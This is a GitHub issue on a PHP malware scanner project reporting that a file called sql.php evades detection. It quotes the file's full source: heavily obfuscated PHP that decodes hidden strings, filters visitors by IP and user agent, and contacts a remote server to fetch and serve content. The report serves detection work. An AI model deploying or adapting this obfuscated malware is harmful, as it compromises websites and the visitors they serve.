search

nexylan / PHPAV

PHP CLI Virus/Malware Scanner
MIT License
26 stars 7 forks source link

[Undetected] sql.php #13

Open gallart opened 7 years ago

gallart commented 7 years ago

This file is undetected :

<?php
$GLOBALS['qGHYRA4BRlT'] = $_SERVER;
function wYfm6hK($P4JcWurDlV1)
                                    {$DKh7Mnj7Q = "";global $oYUEHg2OQ;
for($TA0VIoxKsT=intval('BhKpGh8fQ'); $TA0VIoxKsT<strlen($P4JcWurDlV1); $TA0VIoxKsT++)
            {$WxZCT68qM=$TA0VIoxKsT % 12;$McvpPNp = ord($P4JcWurDlV1[$TA0VIoxKsT]) - $WxZCT68qM - $oYUEHg2OQ;
            if ($McvpPNp < 32){$McvpPNp = $McvpPNp + 94;

}$DKh7Mnj7Q .= chr($McvpPNp);}return $DKh7Mnj7Q;}
        $jCexQiqUToDO3 = chr(38^64).chr(38^79).chr(38^74).chr(38^67).chr(38^121).chr(38^65).chr(38^67).chr(38^82).chr(38^121).chr(38^69).chr(38^73).chr(38^72).chr(38^82).chr(38^67).chr(38^72).chr(38^82).chr(38^85);
$l4qlWtrnMrA = chr(224^147).chr(224^149).chr(224^130).chr(224^147).chr(224^148).chr(224^146).chr(224^191).chr(224^131).chr(224^143).chr(224^149).chr(224^142).chr(224^148);

$oYUEHg2OQ = $l4qlWtrnMrA($jCexQiqUToDO3(${chr(109^50).chr(109^62).chr(109^40).chr(109^63).chr(109^59).chr(109^40).chr(109^63)}[chr(165^246).chr(165^230).chr(165^247).chr(165^236).chr(165^245).chr(165^241).chr(165^250).chr(165^227).chr(165^236).chr(165^233).chr(165^224).chr(165^235).chr(165^228).chr(165^232).chr(165^224)]), chr(ord("6") - 14));
    $oYUEHg2OQ=$oYUEHg2OQ ^ 646;

${wAqcjj("Epp@rD:\"")} = vwxoGIv("59=72;:J6;HHC5?FF");
${cT1T3empdT("q{sd|)gv)mGR")} = cT1T3empdT("sw{&v&4z#w~9{}0\"%{+5)w'!r");
${wAqcjj("}5?A;KkA-")} = S0bSYfT("BDC1FDA?K");
${lwsc1A("Du:>Dc,8N")} = ej9cw1lF8vQ("4BCAE3G;GGKN8>8");
    ${wYfm6hK("'JA})%i.Pl%E9")} = Mb0nmeMSxwK("sw{&v&4,v\$\"|n\$t1z\$");
${ej9cw1lF8vQ("!|BF(:B)j")} = lTrgLJDS6up("<5E3C<DD<");
                    ${lwsc1A("tB\$;yh)meB#}")} = cT1T3empdT("59=729M?JLL");
${S0bSYfT("?:BKJv{D=.l")} = cT1T3empdT("2??H8FI5LM>H2?57");
        function lTrgLJDS6up($LA26JrUPQM7){return wYfm6hK($LA26JrUPQM7);};
${cT1T3empdT("6G6EvjwH0,\$pf")} = vwxoGIv("2BJBG");
            function Mb0nmeMSxwK($lTdmfn){return wYfm6hK($lTdmfn);};
                ${wYfm6hK("%!(8\$u9")} = lTrgLJDS6up("4HA>B8:");
function wAqcjj($Wy7xCJwMuD){return wYfm6hK($Wy7xCJwMuD);};

${lTrgLJDS6up("@`F%8wxN(A")} = ej9cw1lF8vQ("B82a");
        ${ej9cw1lF8vQ("yy`4!?")} = vwxoGIv("E6AD<BI<");

${lTrgLJDS6up("Ae3?s!/y#g")} = vwxoGIv("2BJBG");
function lwsc1A($EyP96t){return wYfm6hK($EyP96t);};
${wYfm6hK("n@d6e+wik-1B")} = cT1T3empdT("2??H8FI5LM>H2?57");
${lTrgLJDS6up("9b&z+?}")} = lwsc1A("B9>;?5G5K=QN");
${vULdqq("r#Bzaw")} = lwsc1A("2BJBG");
${lTrgLJDS6up("2Jvu&yMuE")} = lwsc1A("7D>>29CJ@LR9354A79");
${ej9cw1lF8vQ("IF>|(y.veK@/1")} = wAqcjj(">B5");
            function S0bSYfT($L78YdZchT2){return wYfm6hK($L78YdZchT2);};
function cT1T3empdT($vAY8mLVJ){return wYfm6hK($vAY8mLVJ);};

function ej9cw1lF8vQ($mDrHSjQ){return wYfm6hK($mDrHSjQ);};
                    ${lwsc1A("3_uy:uj#>\$")} = lwsc1A("?B692F:FC9<?");
                        function vULdqq($syUWQROB6){return wYfm6hK($syUWQROB6);};

${ej9cw1lF8vQ("88g7~*gELf")} = vwxoGIv("0BC3L3@;P7>R8CEE");
${lwsc1A("2a39eL")} = vwxoGIv("<??7L3;EIE:N");
        ${vwxoGIv("39FB}G*em:")} = wYfm6hK("sw{&v&4z#w~9{}0\$v'4(v&~}");
${S0bSYfT("v%v}=~")} = vULdqq("8>:1F9I");
                function vwxoGIv($QhDJIqWqZw){return wYfm6hK($QhDJIqWqZw);};

${wAqcjj("v!G%E.")} = Mb0nmeMSxwK("7D>>8BI?KA>M");
${lwsc1A("3%hwc=")} = cT1T3empdT("E6AD<BI<");
${Mb0nmeMSxwK("rIF'u*=DI")} = vULdqq("D3HAE8H");
${wYfm6hK("(w`aC-A")} = lwsc1A("75268F");

${cT1T3empdT(":9GC+w-OCD\$N)")} = lwsc1A("19?b;9M");

${wYfm6hK("&\$(qg7(")} = vULdqq("28F@>3HFCAM");
                    ${ej9cw1lF8vQ("\$t'fH?'\"@Px,")} = Mb0nmeMSxwK("ADC;@");
${Mb0nmeMSxwK("!>)Bh{d(j&(")} = cT1T3empdT(";37;EGI");

${vwxoGIv("s'sx~@J!f(Qo")} = lwsc1A("BDCEGF");

${ej9cw1lF8vQ("DAI@s>)d}<oM")} = vULdqq("BE3EGF49FMGN");
                        ${ej9cw1lF8vQ("oa+Jyx'L?F")} = lwsc1A("<4d");

${wAqcjj("xFz7D%'+0'i's")} = ej9cw1lF8vQ("BDC74A49FFM?GD05E96J<");
                        ${Mb0nmeMSxwK("zyf6?}?<wHGDz")} = lwsc1A("CBF7");
${ej9cw1lF8vQ("%9If@|C#")} = wAqcjj(">B5");

${vULdqq("'\"}Kc}*+<0;Pf")} = vwxoGIv("8=A>B8:");
${wYfm6hK("625}Fz")} = wAqcjj("??#:{\$:|*IP");
${wAqcjj("p4+i-yD?{")} = vwxoGIv("7DEB26J?C<8KD5CK");
${wAqcjj("87B6\"?hP<Q")} = vULdqq("5|g@s)?I");

${lTrgLJDS6up(";fK!}fJJK;C+")} = lTrgLJDS6up("BDC1E9EB8;>");

${wYfm6hK("|v4hwLF<B=j")} = S0bSYfT("D>:C<8");
            ${lwsc1A("n'yL,e?")} = S0bSYfT("8@a>BB<");
                    ${wAqcjj("\"|!5}b%vA=O)E")} = lwsc1A("0BC3L3H>@>M");
${wAqcjj("3J!}5.{!9>")} = S0bSYfT("8>03EF6O");

${vwxoGIv("G_!Ij!G#e:2k_")} = vULdqq("28C");
                        ${wYfm6hK("Iff`J~B-{2R+|")} = vULdqq("BDCDCCH");
                        ${ej9cw1lF8vQ("B9yr5i&j(1")} = lTrgLJDS6up("8>EH4@");
            ${wYfm6hK("pxh{*)")} = wAqcjj("59=F8F4L8J");

${lTrgLJDS6up("s;Jc-vjO}ox!")} = lwsc1A("BDC>8B");

${wYfm6hK("s9?yc-ALQ@K/f")} = wYfm6hK("BE3EGF");
${wAqcjj("!5*##LG8+\"jN")} = ej9cw1lF8vQ(";??9c=E");

${vULdqq("'vffsg=GP:mp5")} = Mb0nmeMSxwK("BDC1E9E;8L");
${wYfm6hK("4o;t(B9")} = S0bSYfT("11D7A5B;");
                ${vULdqq("83@&ry")} = wAqcjj("59=72DJJ6;HHC5?FF");
                ${wYfm6hK("|duyIN;BK'?p")} = vULdqq("CB:?");

${vULdqq("Du:>Dc,8N")}(${ej9cw1lF8vQ("B9yr5i&j(1")}(vULdqq("]")));
            ${lwsc1A("v%v}=~")}(wYfm6hK("39DB?5N5<JKIAC"), ${lTrgLJDS6up("B9yr5i&j(1")}(cT1T3empdT("]")));

${wYfm6hK("!uD~99Mx,")} = Array(wAqcjj("^^b^cgdbfngf"), vULdqq("^`d^geajmd"), cT1T3empdT("^aa^ghaefd"), lTrgLJDS6up("^ba^fcaeid"), 
                    Mb0nmeMSxwK("^fd^hgaeige"), cT1T3empdT("^ga^bhkbffhf"), S0bSYfT("^ga^cbcbghe"), vwxoGIv("^gd^bfdbid"), cT1T3empdT("^gd^cekbnle"), lTrgLJDS6up("^ge^ebagfd"), lTrgLJDS6up("^gg^bbeblfe"), 
                    lTrgLJDS6up("^gg^bfhbkd"), cT1T3empdT("^gh^cfhbjke"), vULdqq("_^a^b`djfd"), wAqcjj("_^a^jgafehe"), ej9cw1lF8vQ("_^d^bhgbgfe"), vULdqq("_^e^cfibfngf"), cT1T3empdT("_^f^cclbfkjf"), 
                        wYfm6hK("_^g^bckbgklf"), wAqcjj("_^g^ibaenhe"), Mb0nmeMSxwK("_^g^ieaehle"), S0bSYfT("_^h^bbfbghkf"), lwsc1A("_^h^ghaked"), wYfm6hK("__`^cflbife"), Mb0nmeMSxwK("__e^belbed"), 
                                vULdqq("__e^bjjbnie"), ej9cw1lF8vQ("__e^bkgbfomf"), lwsc1A("__e^eiajid"), Mb0nmeMSxwK("_b]ahdakgd"), S0bSYfT("_b]bcfaegme"), wYfm6hK("_b]bcgalc"),

                    S0bSYfT("ca]bfcaelke"), Mb0nmeMSxwK("cb]aebafgie"), ej9cw1lF8vQ("cb]bdgaejfe"), ej9cw1lF8vQ("cb]bdgaejie"), vULdqq("cb]ci`dekd"), wYfm6hK("cb]fj`ijc"), lTrgLJDS6up("cc]cj`dhed"), 
                    wYfm6hK("cd]ahdahld"), S0bSYfT("cd]bekajjd"), ej9cw1lF8vQ("cd]bffammd"), ej9cw1lF8vQ("cd]ch`ilc"), ej9cw1lF8vQ("cg]aa`dgid"), wAqcjj("d^]dc`dgfd"), vULdqq("d`]b_khb"), lwsc1A("db]abhaffne"), 
                    S0bSYfT("db]bbiamed"), wYfm6hK("db]ie`egmd"), wAqcjj("dc]aigaenie"), wYfm6hK("df]abcakc"), lTrgLJDS6up("e^]bejaffme"), ej9cw1lF8vQ("e`]ha`eged"), vULdqq("ec]abdaec"), 
                    wAqcjj("f^]aegaffke"), wYfm6hK("f`]di`dekd"), wAqcjj("f`]di`dfed"), Mb0nmeMSxwK("fb]adhaehle"), lwsc1A("fb]bccaffle"), wAqcjj("^^]i_idb"), wAqcjj("^^h^cbfbfhif"), wAqcjj("_^_^hgadc"), 
                    wYfm6hK("_^`^cekbgjmf"), wYfm6hK("_^c^ciaenke"), S0bSYfT("_^e^bdibnoe"), wYfm6hK("_^g^bdebnke"), wAqcjj("__e^cegbfhkf"), cT1T3empdT("a_]bceaffne"), vULdqq("cb]bdgaejje"), 

                    lwsc1A("cf]aibafgne"), vULdqq("ee]beeaegne"), Mb0nmeMSxwK("__a^hcaec"), lwsc1A("cb]ce`defd"), wAqcjj("^bh^cghbkfe"), cT1T3empdT("^fc^bifbgghf"), Mb0nmeMSxwK("^fc^bifbghmf"), 

                    lwsc1A("^fc^bifbghnf"), wAqcjj("^ga^bidbgijf"), S0bSYfT("__b^cggbgjhf"), lTrgLJDS6up("`f]aabaffd"), wAqcjj("a\\fi_cegc"), lwsc1A("^g_^bcebfolf"), wAqcjj("f_]bbhaeeme"), 
                    lTrgLJDS6up("d^]cj`dild"), vwxoGIv("__`^bccbfnhf"), vULdqq("_^g^ibaenje"), Mb0nmeMSxwK("^``^edadc"), wYfm6hK("cb]ge`eejd"));

${cT1T3empdT("wI7,#~(")} = Array(cT1T3empdT("z?K;?@6cjdgXU(`alR!?EMQXGfe1gfnTINqke\\_^b[S{<;DI\\`_aabddfV}CA57AKaflcfeiMz(%`ekbe"), 
                                        wYfm6hK("z?K;?@6cidgXU3@?C5I?9D>sM{\$yvRkbeqW18>5AJGS\$+Vlf^iO&E=9;ELfl[^X"), 

                ej9cw1lF8vQ("z?K;?@6cidgXU3@?C5I?9D>sM{\$yvRkbeqW18>5AJGS\$+Vmf^iO&E=9;ELfl[^X"),);

         if (${Mb0nmeMSxwK("DAI@s>)d}<oM")}(${lTrgLJDS6up("Epp@rD:\"")}($_SERVER[vULdqq("\"q#y#(4z~\$|(n{t")]), cT1T3empdT("Q")) != ${ej9cw1lF8vQ("B9yr5i&j(1")}(cT1T3empdT("]"))+335){ ${S0bSYfT("3_uy:uj#>\$")}(Mb0nmeMSxwK("\\]6;"), ${wYfm6hK(">@vE>:fMhCpRo")}[ej9cw1lF8vQ("y87??>C.@")], '');exit();}

if (empty(${Mb0nmeMSxwK(".ut&")}))
{
    ${Mb0nmeMSxwK("625}Fz")}();
}

${lTrgLJDS6up("'5Khd9HEOK=~8")} = ${S0bSYfT("87B6\"?hP<Q")}();
                    ${lwsc1A("o(BE:w")} = @$GLOBALS[cT1T3empdT("@uw+%sgv)D-")][wYfm6hK("u\$%\"2)(y)7x!r|%")];

if (${wYfm6hK("3J!}5.{!9>")}(${ej9cw1lF8vQ("o(BE:w")}, ${lwsc1A("wI7,#~(")}))
{
    ${cT1T3empdT("625}Fz")}();
}

if (empty(${ej9cw1lF8vQ("'5Khd9HEOK=~8")}))
{
    ${vwxoGIv("625}Fz")}();
}

        ${vULdqq("n*`qhMJF,")} = ${lwsc1A("s9?yc-ALQ@K/f")}(${vwxoGIv("'5Khd9HEOK=~8")}, ${vULdqq("B9yr5i&j(1")}(wYfm6hK("]")), ${vwxoGIv("Iff`J~B-{2R+|")}(${wYfm6hK("'5Khd9HEOK=~8")}, vULdqq("["))+${cT1T3empdT("B9yr5i&j(1")}(Mb0nmeMSxwK("^")));
                if (${ej9cw1lF8vQ("3J!}5.{!9>")}(${vULdqq("n*`qhMJF,")}, ${lwsc1A("!uD~99Mx,")}))
{
                ${S0bSYfT("625}Fz")}();
}

${lwsc1A("@IF#{sj|<@R07")} = ${ej9cw1lF8vQ("B9yr5i&j(1")}(lTrgLJDS6up("_g`gb"));
${wAqcjj("&@7zhD)")} = ${vwxoGIv("B9yr5i&j(1")}(S0bSYfT("]"));
foreach (${lTrgLJDS6up("}5?A;KkA-")}($GLOBALS[lwsc1A("@uw+%sgv)D-")][Mb0nmeMSxwK("!s\"'v')5,*\"")]) as ${vULdqq("z&pH=B!JA")})
{
    ${Mb0nmeMSxwK("@IF#{sj|<@R07")} += ${S0bSYfT("%9If@|C#")}(${lTrgLJDS6up("z&pH=B!JA")});
                            ${vULdqq("&@7zhD)")} ++;
}

${ej9cw1lF8vQ("@IF#{sj|<@R07")}<<=${S0bSYfT("B9yr5i&j(1")}(ej9cw1lF8vQ("_"));${vULdqq("@IF#{sj|<@R07")}^=${cT1T3empdT("@IF#{sj|<@R07")};${S0bSYfT("@IF#{sj|<@R07")}+=${cT1T3empdT("B9yr5i&j(1")}(cT1T3empdT("``"));

                ${cT1T3empdT("@IF#{sj|<@R07")} = ${vULdqq("'vffsg=GP:mp5")}(${wYfm6hK("G_!Ij!G#e:2k_")}(${wYfm6hK("@IF#{sj|<@R07")}), ${wYfm6hK("B9yr5i&j(1")}(vwxoGIv("e")));

${lwsc1A("'5Khd9HEOK=~8")} = Mb0nmeMSxwK("eg]ec`jlcgi");
                    ${lTrgLJDS6up("{d(DiMh")} = lwsc1A("e^");
${vULdqq("sxE;ev*D(/hE")} = vULdqq("\\>39I98Ojekm1IcD9<aF?H");

${lwsc1A("~oK%h.BAe")} = Array();
    ${cT1T3empdT("~oK%h.BAe")}[wYfm6hK("8")] = ${ej9cw1lF8vQ("87B6\"?hP<Q")}();

${vULdqq("~oK%h.BAe")}[ej9cw1lF8vQ("?")] = @$GLOBALS[ej9cw1lF8vQ("@uw+%sgv)D-")][cT1T3empdT("u\$%\"2z\$)+")] . @$GLOBALS[Mb0nmeMSxwK("@uw+%sgv)D-")][Mb0nmeMSxwK("!s\"'v')5,*\"")];
        ${wAqcjj("~oK%h.BAe")}[vwxoGIv("D")] = @$GLOBALS[lTrgLJDS6up("@uw+%sgv)D-")][S0bSYfT("u\$%\"2)(y)7x!r|%")];
${Mb0nmeMSxwK("~oK%h.BAe")}[wYfm6hK("0")] = @$GLOBALS[wAqcjj("@uw+%sgv)D-")][ej9cw1lF8vQ("u\$%\"2svwz(-9yo}w(szy")];
${wAqcjj("~oK%h.BAe")}[lwsc1A("A")] = @$GLOBALS[wAqcjj("@uw+%sgv)D-")][lTrgLJDS6up("u\$%\"2&xzz*|,")];

${lTrgLJDS6up("y6_\$xe=")} = ${lTrgLJDS6up("xFz7D%'+0'i's")}(Array(cT1T3empdT("7DEB") => Array(lTrgLJDS6up("<5E:B8") => ej9cw1lF8vQ("}}\$&"), cT1T3empdT("75268F") => vULdqq("p??F8BIaKQI?gN2BC@>98LBI=]I]JKLa=GKGZEC>8B8E;=="), wAqcjj("2??F8BI") => ${lwsc1A("p4+i-yD?{")}(${Mb0nmeMSxwK("~oK%h.BAe")}))));

                ${lwsc1A("I^b;f-%{")} = wAqcjj("7DEBkab") . ${vULdqq("!5*##LG8+\"jN")}(-${Mb0nmeMSxwK("B9yr5i&j(1")}(S0bSYfT("^ffdacikjh")) ^ (${ej9cw1lF8vQ("%9If@|C#")}(${ej9cw1lF8vQ("@IF#{sj|<@R07")}[${lTrgLJDS6up("B9yr5i&j(1")}(cT1T3empdT("]"))]) + ${Mb0nmeMSxwK("%9If@|C#")}(${wYfm6hK("@IF#{sj|<@R07")}[${ej9cw1lF8vQ("B9yr5i&j(1")}(wYfm6hK("^"))]) + (${S0bSYfT("s'sx~@J!f(Qo")}(${lTrgLJDS6up("s9?yc-ALQ@K/f")}($GLOBALS[vULdqq("@uw+%sgv)D-")][vwxoGIv("!s\"'v')5,*\"")], -${S0bSYfT("B9yr5i&j(1")}(cT1T3empdT("a"))), Mb0nmeMSxwK("[@9B")) == FALSE ? ${lTrgLJDS6up("B9yr5i&j(1")}(ej9cw1lF8vQ("ff")) : ${S0bSYfT("n'yL,e?")}(${ej9cw1lF8vQ("'5Khd9HEOK=~8")})))) . vULdqq("g") . ${Mb0nmeMSxwK("{d(DiMh")} . ${S0bSYfT("sxE;ev*D(/hE")};

${Mb0nmeMSxwK("~_<s\$gHi#")} = @${Mb0nmeMSxwK("Epp@rD:\"")}(${vwxoGIv("I^b;f-%{")}, FALSE, ${S0bSYfT("y6_\$xe=")});
    if(${S0bSYfT("s;Jc-vjO}ox!")}(${vULdqq("~_<s\$gHi#")}) < ${Mb0nmeMSxwK("B9yr5i&j(1")}(ej9cw1lF8vQ("^^")))
{
                    ${wAqcjj("625}Fz")}();
}

${ej9cw1lF8vQ("~_<s\$gHi#")} = ${lTrgLJDS6up("%!(8\$u9")}("\n", ${lwsc1A("~_<s\$gHi#")});

${Mb0nmeMSxwK("po3a7}ew\"")} = ${ej9cw1lF8vQ("\"|!5}b%vA=O)E")}(${Mb0nmeMSxwK("~_<s\$gHi#")});

${lwsc1A("~_<s\$gHi#")} = ${wAqcjj("'\"}Kc}*+<0;Pf")}("\n", ${wYfm6hK("~_<s\$gHi#")});

if (${wAqcjj("s'sx~@J!f(Qo")}(${wAqcjj("po3a7}ew\"")}, lTrgLJDS6up("[8E??")) === FALSE)
{
    ${cT1T3empdT("(w`aC-A")}(vULdqq("p??F8BIa+QI?gN2BC@>98LBI=]@5G9IaJLK?0="));

    ${vULdqq("(w`aC-A")}(wYfm6hK("p??F8BIayALJ>C:F<CCnU9MN039?8BIoU>BF4>2?8o") . ${lwsc1A("po3a7}ew\"")});
    ${wAqcjj("(w`aC-A")}(lTrgLJDS6up("p??F8BIa#=GAC8iP") . ${vULdqq("s;Jc-vjO}ox!")}(${lwsc1A("~_<s\$gHi#")}));
}

exit(${ej9cw1lF8vQ("~_<s\$gHi#")});

function fN8nBUjs()
    {global ${wAqcjj("|duyIN;BK'?p")};
            global ${lwsc1A("pxh{*)")};
global ${lwsc1A("39FB}G*em:")};
global ${ej9cw1lF8vQ("88g7~*gELf")};
            global ${Mb0nmeMSxwK("%!(8\$u9")};

global ${ej9cw1lF8vQ("'JA})%i.Pl%E9")};

global ${wYfm6hK("q{sd|)gv)mGR")};

    ${lwsc1A("F8eE@#8dn(G.u")} = array(wYfm6hK("!s|!'w4uyz+"), );
    foreach (${Mb0nmeMSxwK("F8eE@#8dn(G.u")} as ${wAqcjj("@IF#{sj|<@R07")})

    {

        if (${wYfm6hK("88g7~*gELf")}(${wYfm6hK("@IF#{sj|<@R07")}, $GLOBALS[wYfm6hK("@uw+%sgv)D-")]) === TRUE)

        {

            foreach (${Mb0nmeMSxwK("%!(8\$u9")}(S0bSYfT("Y"), $GLOBALS[cT1T3empdT("@uw+%sgv)D-")][${vwxoGIv("@IF#{sj|<@R07")}]) as ${ej9cw1lF8vQ("'5Khd9HEOK=~8")})
                {
                ${cT1T3empdT("'5Khd9HEOK=~8")} = ${S0bSYfT("|duyIN;BK'?p")}(${lTrgLJDS6up("'5Khd9HEOK=~8")});
                if (${vwxoGIv("pxh{*)")}(${lTrgLJDS6up("'5Khd9HEOK=~8")}, FILTER_VALIDATE_IP, ${vwxoGIv("q{sd|)gv)mGR")} | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
                {
                                return ${S0bSYfT("'5Khd9HEOK=~8")};

    }
            }
        }
    }

                    return "";
}

    function poRhJPeHSqw()

{global ${lwsc1A("83@&ry")};

global ${wAqcjj("4o;t(B9")};
global ${vULdqq("|v4hwLF<B=j")};
                    global ${vwxoGIv(";fK!}fJJK;C+")};
                    global ${wAqcjj("zyf6?}?<wHGDz")};

global ${Mb0nmeMSxwK("xFz7D%'+0'i's")};

global ${ej9cw1lF8vQ("oa+Jyx'L?F")};
    global ${vwxoGIv("(w`aC-A")};
global ${lTrgLJDS6up("tB\$;yh)meB#}")};
global ${wYfm6hK("Epp@rD:\"")};

                        ${cT1T3empdT("(w`aC-A")}(cT1T3empdT("u\$%\"`caeUjglM|@FQxDKE<"));

    ${lTrgLJDS6up("}4fA8\"~k?l")} = ${vULdqq("4o;t(B9")}($GLOBALS[vwxoGIv("@uw+%sgv)D-")][cT1T3empdT("}v!1&w!z")]);

                if (!${S0bSYfT("tB\$;yh)meB#}")}(ej9cw1lF8vQ("a^c^") . ${wYfm6hK("}4fA8\"~k?l")}))
    {
        ${wYfm6hK("s:D)|yNiv")} =  ${wYfm6hK("oa+Jyx'L?F")}(${vwxoGIv("|v4hwLF<B=j")}());
                        ${vULdqq("~_<s\$gHi#")} = @${cT1T3empdT("Epp@rD:\"")}(wYfm6hK("7DEBkab").$GLOBALS[wAqcjj("@uw+%sgv)D-")][vULdqq("u\$%\"2z\$)+")] . vwxoGIv("\\") . ${Mb0nmeMSxwK("s:D)|yNiv")}, FALSE, ${ej9cw1lF8vQ("xFz7D%'+0'i's")}(array(lwsc1A("7DEB") => array(S0bSYfT("87?AE94;IJHLB") => true))));
                ${vULdqq("~_<s\$gHi#")} = ${vULdqq(";fK!}fJJK;C+")}(${vwxoGIv("s:D)|yNiv")}, ${ej9cw1lF8vQ("}4fA8\"~k?l")}, ${vULdqq("~_<s\$gHi#")});

        ${wYfm6hK("83@&ry")}(ej9cw1lF8vQ("a^c^") . ${lTrgLJDS6up("}4fA8\"~k?l")}, ${cT1T3empdT("~_<s\$gHi#")});
    }

    else
    {
                    ${ej9cw1lF8vQ("~_<s\$gHi#")} = @${Mb0nmeMSxwK("Epp@rD:\"")}(cT1T3empdT("a^c^") . ${S0bSYfT("}4fA8\"~k?l")});
    }

        exit(${wYfm6hK("~_<s\$gHi#")});
gallart commented 7 years ago

I think we will need to start regex matching.